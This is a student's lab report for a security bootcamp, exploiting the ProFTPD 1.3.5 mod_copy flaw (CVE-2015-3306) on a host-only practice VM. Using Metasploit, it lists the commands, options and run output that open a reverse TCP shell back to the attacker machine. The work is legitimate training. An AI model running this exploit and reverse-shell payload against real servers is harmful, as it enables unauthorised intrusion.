

TASK 4: Vulnerability Assessment Report

Date: 17/08/2025

Prepared for: MuLearn Bootcamp

Prepared By: Atul H

Basic Info:

VM Setup: ERULNX16 named machine was given to assess the vulnerability, imported in host only network.

Attacker Machine: Kali Linux

- **IP:** 192.168.56.102

Target Machine: ERULNIX16

- **IP:** 192.168.56.101

Tools: Nmap, Metasploit Framework.

ENUMERATION:

The first stage is enumeration, which is to gather the information about our system. First we need to find the IP of our target machine. Using ifconfig we get our Kali machine's ip address i.e **192.168.56.102**. We use **nmap -sP** for a ping scan to verify which all devices are active and pinging currently (checking devices are alive or not!). It is useful for host discovery before a detailed scan.

When we search for the FTP server proFTPD we can see “ProFTPD is a popular FTP server used for **hosting, transferring, and sharing files over networks**”.

As we can see, the vulnerable ProFTPD service was detected in the port 21. In addition, NSE also fully informed us about this particular vulnerability by providing us with detailed information.

The screenshot shows the Nessus Network Monitor interface. On the left is a sidebar with navigation options like 'Overview', 'Plugins', 'Release Notes', 'Search', and 'Audits'. The main panel displays the details for the 'ProFTPD <= 1.3.5b Remote Code Execution' vulnerability, identified by Nessus Network Monitor Plugin ID 701079. The severity is marked as 'HIGH'. The synopsis states: 'The remote FTP server is affected by a code execution vulnerability.' The description explains that all versions of ProFTPD including 1.3.5b are affected by a remote code execution vulnerability due to an arbitrary file copy flaw in the mod_copy module. The solution provided is to 'Upgrade to the latest version. As a workaround, disable mod_copy in the ProFTPD configuration file.' On the right, 'Plugin Details' include Severity: High, ID: 701079, Family: FTP Servers, Published: 7/23/2019, Updated: 7/23/2019, Risk Information: VPR, Risk Factor: Medium, and Score: 6.7.

Next step is to run Metasploitable framework to exploit this vulnerability using a reverse shell payload.

The screenshot shows the Metasploit msfconsole terminal. At the top, it says 'File Actions Edit View Help' and 'msfconsole'. Below that, it displays a Metasploit tip: 'Search can apply complex filters such as search cve:2009' and 'type:exploit, see all the filters with help search'. The terminal features a large, colorful ASCII art logo for Metasploit. Below the logo, it says 'To boldly go where no shell has gone before'. At the bottom, it shows the version information: 'msfconsole v6.4.64-dev' and a list of statistics: '2519 exploits - 1296 auxiliary - 431 post', '1687 payloads - 49 encoders - 13 nops', and ' evasion'.

Once we get our msfconsole running, we can verify the exploit proftpd exists. Using the command **search proftpd 1.3.5** we search for any relevant exploit in the metasploit’s database:

```

File Actions Edit View Help

      db' dbP db'.BP db'.BP dbP dbP
      --o-- dbP dbBBB' dbP db'.BP dbP dbP
      | dbP dbP dbP dbP db'.BP dbP dbP
      | dbBBB dbP dbBBB dbBBB dbP dbP

To boldly go where no
shell has gone before

+ -- ==[ metasploit v6.4.64-dev ]
+ -- ==[ 2519 exploits - 1296 auxiliary - 431 post ]
+ -- ==[ 1607 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ProFTPD 1.3.5

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec
msf6 >

```

We found an exploit, which is also ranked as excellent, so we now select it using the command **use 0** or **use proftpd_modcopy_exec**. Then, we use **show options** to see all required options that we need to configure in order to run the exploit:

```

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT      RPORT            no        HTTP port (TCP)
RPORT_FTP  RPORT_FTP        yes       FTP port
SITEPATH   SITEPATH         yes       Absolute writable website path
SSL        SSL              no        Negotiate SSL/TLS for outgoing connections
TARGETURI  TARGETURI        yes       Base path to the website
TMPATH     TMPATH           yes       Absolute writable path
VHOST      VHOST            no        HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

Name      Current Setting  Required  Description
--      -
LHOST     LHOST            yes       The listen address (an interface may be specified)
LPORT     LPORT            yes       The listen port

Exploit target:

Id  Name
--  --
0   ProFTPD 1.3.5

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) >

```

We use the commands :

- set RHOSTS <target ip> (**set RHOSTS 192.168.56.101**)
- **set SITEPATH /var/www/html**
- set LHOST <our IP> (**set LHOST 192.168.56.102**) [only if the LHOST is not our machine's IP by default].

to set the remote host and the writable website path.

```

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS ProFTPD 192.168.56.101
RHOSTS => ProFTPD 192.168.56.101
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):



| Name      | Current Setting        | Required | Description                                                                                                                                 |
|-----------|------------------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST     |                        | no       | The local client address                                                                                                                    |
| CPORT     |                        | no       | The local client port                                                                                                                       |
| Proxies   |                        | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                |
| RHOSTS    | ProFTPD 192.168.56.101 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/">https://docs.metasploit.com/docs/using-metasploit/</a> |
| RPORT     | 80                     | yes      | HTTP port (TCP)                                                                                                                             |
| RPORT_FTP | 21                     | yes      | FTP port                                                                                                                                    |
| SITEPATH  | /var/www/html          | yes      | Absolute writable website path                                                                                                              |
| SSL       | false                  | no       | Negotiate SSL/TLS for outgoing connections                                                                                                  |
| TARGETURI | /                      | yes      | Base path to the website                                                                                                                    |
| TMPPATH   | /tmp                   | yes      | Absolute writable path                                                                                                                      |
| VHOST     |                        | no       | HTTP server virtual host                                                                                                                    |



Payload options (cmd/unix/reverse_python):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.56.102  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |
| SHELL | /bin/sh         | yes      | The system shell to use                            |



Exploit target:



| Id | Name          |
|----|---------------|
| 0  | ProFTPD 1.3.5 |


```

Then, using the command **show payloads** we can see the available payloads and select one with **set payload <payload name>**. In our case, we will use the **payload/cmd/unix/reverse_python**, which is a Reverse TCP shell via Python.

```

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show payloads

Compatible Payloads



| #  | Name                                | Disclosure Date | Rank   | Check | Description                                           |
|----|-------------------------------------|-----------------|--------|-------|-------------------------------------------------------|
| 0  | payload/cmd/unix/adduser            | .               | normal | No    | Add user with useradd                                 |
| 1  | payload/cmd/unix/bind_awk           | .               | normal | No    | Unix Command Shell, Bind TCP (via AWK)                |
| 2  | payload/cmd/unix/bind_netcat        | .               | normal | No    | Unix Command Shell, Bind TCP (via netcat)             |
| 3  | payload/cmd/unix/bind_perl          | .               | normal | No    | Unix Command Shell, Bind TCP (via Perl)               |
| 4  | payload/cmd/unix/bind_perl_ipv6     | .               | normal | No    | Unix Command Shell, Bind TCP (via perl) IPv6          |
| 5  | payload/cmd/unix/generic            | .               | normal | No    | Unix Command, Generic Command Execution               |
| 6  | payload/cmd/unix/pingback_bind      | .               | normal | No    | Unix Command Shell, Pingback Bind TCP (via netcat)    |
| 7  | payload/cmd/unix/pingback_reverse   | .               | normal | No    | Unix Command Shell, Pingback Reverse TCP (via netcat) |
| 8  | payload/cmd/unix/reverse_awk        | .               | normal | No    | Unix Command Shell, Reverse TCP (via AWK)             |
| 9  | payload/cmd/unix/reverse_netcat     | .               | normal | No    | Unix Command Shell, Reverse TCP (via netcat)          |
| 10 | payload/cmd/unix/reverse_perl       | .               | normal | No    | Unix Command Shell, Reverse TCP (via Perl)            |
| 11 | payload/cmd/unix/reverse_perl_ssl   | .               | normal | No    | Unix Command Shell, Reverse TCP SSL (via perl)        |
| 12 | payload/cmd/unix/reverse_python     | .               | normal | No    | Unix Command Shell, Reverse TCP (via Python)          |
| 13 | payload/cmd/unix/reverse_python_ssl | .               | normal | No    | Unix Command Shell, Reverse TCP SSL (via python)      |



msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload payload/cmd/unix/reverse_python
payload => cmd/unix/reverse_python

```

Finally we execute the exploit using **run**:

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] 192.168.56.101:80 - 192.168.56.101:21 - Connected to FTP server
[*] 192.168.56.101:80 - 192.168.56.101:21 - Sending copy commands to FTP server
[*] 192.168.56.101:80 - Executing PHP payload /MC6Dg.php
[+] 192.168.56.101:80 - Deleted /var/www/html/MC6Dg.php
[*] Command shell session 1 opened (192.168.56.102:4444 → 192.168.56.101:32782) at 2025-08-17 16:46:05 +0530

whoami
www-data
ls
4LdCQZ.php
chat
drupal
payroll_app.php
phpmyadmin
```

That's it! As seen in the above screenshot, a command shell session with a reverse TCP connection opened and we successfully gained access to the server's system! We verify our access using the commands **whoami** and **ls**.

We found that the user is www-data and the directories in this include chat, drupal, payroll_app.php, phpmyadmin. The attacker was able to gain access to a remote shell by a http request using a payload(metasploitable) which gives the attackers access to these directories.

Vulnerability:

ProFTPD is open in port 21. The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.

Reference:

<https://www.cvedetails.com/cve/CVE-2015-3306/>

<https://github.com/rapid7/metasploitable3>

<https://en.wikipedia.org/wiki/ProFTPD>